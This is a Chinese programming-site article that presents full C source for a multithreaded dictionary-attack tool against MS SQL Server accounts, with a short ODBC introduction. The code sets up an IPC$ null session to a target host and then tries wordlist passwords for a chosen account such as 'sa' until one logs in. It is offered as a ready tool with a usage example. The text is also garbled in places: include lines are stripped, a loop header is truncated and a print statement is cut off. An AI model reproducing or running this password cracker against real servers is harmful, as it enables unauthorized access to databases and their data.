选择显示字体大小

远程检测ms sql server账号安全性


   
  odbc是开放数据互连(open database connectivity)的简称,它是一个用于远程访问数据
库(主要是关系型数据库)的统一界面标准。  odbc下现实运用中是一个数据库的访问库,
它提供了一组odbc api函数可以提供给编程者使用。对于程序员来说,odbc api函数集实际上
等于一个动态连接库(dll)集,可以在应用程序中直接使用它们。
   一个应用程序直接调用odbc api函数来进行数据库的应用工作,工作过程一般比较复杂。
其中一种办法大概是以下几步:
  <1>启动odbc数据库应用程序。
   下面以一个实例来说明远程检测ms sql server账号密码的全过程。
   /**********************************************************
   module name:sqlcheck.c
   date:2000.12.14
   web:www.patching.net
   notices:copyright(c) eyas
   **********************************************************/
   #include
   #include
   #include
   #include
   #include
   #include
   #include
   #include
   ////////////////////////////////////////////////////////////////////////
   file://定义全局变量
   char dict[20000][40],//密码字典
   username[40],//用户名
   target[40],//目标服务器
   passwd[40];//已经探测出来的正确密码
   int total=0;//字典里面单词数量
   bool cracked=false;//探测密码成功时此值为true
   handle hsemaphore,//信标内核对象
   hevent;//事件内核对象
   long maxthreads,//最大线程数量
   activethreads;//活动线程数量
   ////////////////////////////////////////////////////////////////////////
   void usage(char *pragname)
   {
   printf(&quot; power by eyas&quot;
  &quot; http://www.patching.net&quot;
  &quot; 2000/12/14&quot;
  &quot; usage:%s &quot;
  &quot; example:%s 192.168.0.1 sa c:\pwd.dic 50 &quot;,pragname,pragname);
   return;
   }
   ////////////////////////////////////////////////////////////////////////
   int readdic(char *dic)
   {
   file *fp;
   char tmp[40];
   file://打开字典文件
   if((fp=fopen(dic,&quot;r&quot;))==null)
   {
   printf(&quot; can't open %s&quot;,dic);
   return 1;
   }
   while(!feof(fp))
   {
   file://读取数据到临时变量
   if(fgets(tmp,40,fp)==null)
   break;
   file://把从文件里面读出来的最后一位数据[换行符号]去掉
   strncpy(dict[total],tmp,strlen(tmp)-1);
   total++;   if(total>=19999)
   break;
   }
   fclose(fp);
   return 0;
   }
   ////////////////////////////////////////////////////////////////////////
   int connipc(char *remotename)
   {
  .netresource nr;
   dword flags=connect_update_profile;
   tchar rn[30]=&quot;\\&quot;,
   ln[5]=&quot;&quot;;
   strcat(rn,remotename);
   strcat(rn,&quot;\ipc&#36;&quot;);
   nr.dwtype=resourcetype_disk;
   nr.lplocalname=(lptstr)&ln;
   nr.lpremotename=(lptstr)&rn;
   nr.lpprovider=null;
   if(.netaddconnection2(&nr,(lpstr)&quot;&quot;,(lpstr)&quot;&quot;,flags)==no_error)
   {
   return 0;
   }
   else
   {
   return 1;
   }
   }
   ////////////////////////////////////////////////////////////////////////
   int delipc(char *remotename)
   {
   dword ret;
   tchar lpname[30]=&quot;\\&quot;;
   strcat(lpname,remotename);
   strcat(lpname,&quot;\ipc&#36;&quot;);
   ret=.netcancelconnection2(lpname,connect_update_profile,true);
   if(ret==no_error)
   {
   return 0;
   }
   else
   {
   return 1;
   }
   }
   ////////////////////////////////////////////////////////////////////////
   dword winapi sqlcheck(pvoid ppwd)
   {
   file://定义局部变量
   char szbuffer[1025];
   char *pwd;
   sword swstrlen;
   sqlhdbc hdbc;
   sqlhandle henv;
   sqlreturn retcode;//odbc api运行返回值
   schar connstr[200];//连接数据库字符串
   long previouscount;
   file://取得传递过来准备探测的密码
   pwd=(char *)ppwd;
   file://构造连接数据库字符
   sprintf(connstr,&quot;driver={sql server};server=%s;uid=%s;pwd=%s;database=master&quot;,
   target,username,pwd);
   file://puts(connstr);
   __try{
   file://创建数据库应用的环境句柄
   if (sqlallochandle(sql_handle_env,sql_null_handle,&henv) !=sql_success)
   {
   printf(&quot; allocate environment handle failed. &quot;);
   exitprocess(1);
   }
   file://设置odbc版本环境
   if (sqlsetenvattr(henv, sql_attr_odbc_version,(sqlpointer)
   sql_ov_odbc3, sql_is_integer) != sql_success)
   {
   printf(&quot; set the odbc version environment attribute failed. &quot;);
   sqlfreehandle(sql_handle_env, henv);
   exitprocess(1);
   }
   file://创建连接句柄
   if ((retcode= sqlallochandle(sql_handle_dbc,henv,(sqlhdbc far
   *)&hdbc)) != sql_success)
   {
   printf(&quot; allocate connection handle failed. &quot;);
   sqlfreehandle(sql_handle_env, henv);
   exitprocess(1);
   }
   file://连接数据源
   retcode= sqldriverconnect(hdbc,null,connstr,strlen(connstr),
   szbuffer,sizeof(szbuffer),&swstrlen,
   sql_driver_complete_required);
   if(retcode!=sql_success && retcode != sql_success_with_info)
   {
   file://连接失败,函数终止
   file://printf(&quot; couldn't connect to %s mssql server. &quot;,target);
   }
   else
   {
   file://连接远程mssql server数据库成功
   cracked=true;
   strncpy(passwd,pwd,sizeof(passwd));
   file://断开连接
   sqldisconnect(hdbc);
   }
   }//end of tyr
   __finally{
   file://释放连接句柄
   sqlfreehandle(sql_handle_dbc, hdbc);
   file://释放环境句柄
   sqlfreehandle(sql_handle_env, henv);
   file://对信标当前资源数量进行递增1,并取得当前资源数量的原始值
   releasesemaphore(hsemaphore,1,&previouscount);
   file://计算当前活动线程数量
   activethreads=maxthreads-previouscount-1;
   file://printf(&quot; activethreads-->%d.&quot;,activethreads);
   file://如果活动线程数量为0,那么将事件内核对象hevent改为已通知状态,程序结束
   if(activethreads==0)
   {
   setevent(hevent);
   }
   }//end of finally
   return 0;
   }
   ////////////////////////////////////////////////////////////////////////
   int main(int argc,char **argv)
   {
   handle hthread;//线程句柄
   dword dwthreadid,dwret;
   int i=0,err=0;
   clock_t start,end;//程序运行的起始和结束时间
   double duration;
   if(argc!=5)
   {
   usage(argv[0]);
   return 1;
   }
   file://取得目标地址,用户名
   strncpy(target,argv[1],sizeof(target));
   strncpy(username,argv[2],sizeof(username));
   file://取得并检查用户输入的最大线程数量
   maxthreads=atol(argv[4]);   if((maxthreads>100) (maxthreads<1))
   {
   usage(argv[0]);
   return 1;
   }
   file://读取字典中的单词到内存中
   if(readdic(argv[3])!=0)
   return 1;
   file://与目标机器建立ipc session
   if(connipc(argv[1])!=0)
   {
   printf(&quot; can't built ipc null session!&quot;);
   return 1;
   }
   else
   {
   printf(&quot; built ipc null session success! &quot;);

  }
   file://创建信标内核对象,最大资源数量和可以使用的资源数量均为maxthreads
   hsemaphore=createsemaphore(null,maxthreads,maxthreads,null);
   if(hsemaphore==null)
   {
   printf(&quot; createsemaphore() failed.errorcode:%d.&quot;,getlasterror());
   return 1;
   }
   file://创建事件内核对象[人工重置,初始状态为未通知]
   hevent=createevent(null,true,false,null);

  if(hevent==null)
   {
   printf(&quot; createevent() failed.errorcode:%d.&quot;,getlasterror());
   closehandle(hsemaphore);
   return 1;
   }
   file://开始计时
   start=clock();
   file://开始建立线程探测密码
   for(i=0;i {
   file://探测密码成功后跳出此循环
   if(cracked==true)
   break;
   file://显示进度信息   printf(&quot; [%d/%d] %s -> %s -> %s&quot;,i+1,total,target,username,dict[i]);
   file://创建线程
   hthread=createthread(null,0,sqlcheck,(pvoid)&dict[i],0,&dwthreadid);
   file://处理创建线程错误的情况
   if(hthread==null)
   {
   err++;
   messagebox(null,&quot;thread error&quot;,&quot;error&quot;,mb_ok);

  break;
   }
   closehandle(hthread);
   sleep(10);
   file://等待信标内核对象通知,可用资源数量大于0则继续创建线程,等于0则线程进入
   waitforsingleobject(hsemaphore,infinite);

  }
   file://等待事件内核对象通知,最多等待3分钟
   dwret=waitforsingleobject(hevent,180000);
   switch(dwret)
   {
   case wait_object_0:
   printf(&quot; all thread done.&quot;);
   break;
   case wait_timeout:
   printf(&quot; wait time out.exit.&quot;);
   break;
   case wait_failed:
   printf(&quot; waitforsingleobject() failed.&quot;);

  break;
   }
   file://断开与目标机器的ipc session
   delipc(target);
   file://探测密码成功后回显信息
   if(cracked==true)
   printf(&quot; success!%s sql server user [%s] passwd is [%s].&quot;,tar
   file://记时结束
   end=clock();
   file://转换时间格式
   duration = (double)(end - start) / clocks_per_sec;
   file://显示所用时间
   printf(&quot; complete.use %2.1f seconds. &quot;,duration);
   return 0;
   }
   ////////////////////////////////////////////////////////////////////////
   程序在windows2000,vc++6.0环境下编译通过。

  


 


关键字 本文所属关键字

相关 与本文相关文章

分类 所有文章关键字导航

源码编程相关

Java   Asp   PHP   .Net   XML   C/C++   CGI   VB   Jsp   J2ee   J2se   J2me   EJB   Servlet   Tomcat   Resin   Struts   Weblogic   Eclipse   ANT   GUI   JMS   Web servise   IDEA   Webphere   Hibernate   Spring   Jboss   Applet   Swing   Socket   Javamail   Perl   Ajax   P2P   安全   模式   框架   测试   开源   游戏

SQL数据库相关

My-SQL   Ms-SQL   Access   DB2   Oracle   Sybase   SQLserver   索引   存储过程   加密   数据库   分页   视图  

手机无线相关

3G   Wap   CDMA   GRPS   GSM   IVR   彩信   短信   无线   增值业务

网页设计制作相关

HTML   CSS   网页配色   网页特效   Javascript   VBscript   Dreamweaver   Frontpage   JS   Web   网站设计

网站建设推广相关

建站经验   网站优化   网站排名   推广   Alexa

操作系统/服务器相关

Windows XP   Windows 2000   Windows 2003   Windows Me   Windows 9.x   Linux   UNIX   注册表   操作系统   服务器   应用服务器

图形图像多媒体相关

Photoshop   Fireworks   Flash   Coreldraw   Illustrator   Freehand   Photoimpact   多媒体   图形图像

标准 网站致力的规范

Valid CSS!

无不良内容,无不良广告,无恶意代码

Valid XHTML 1.0 Transitional

creativecommons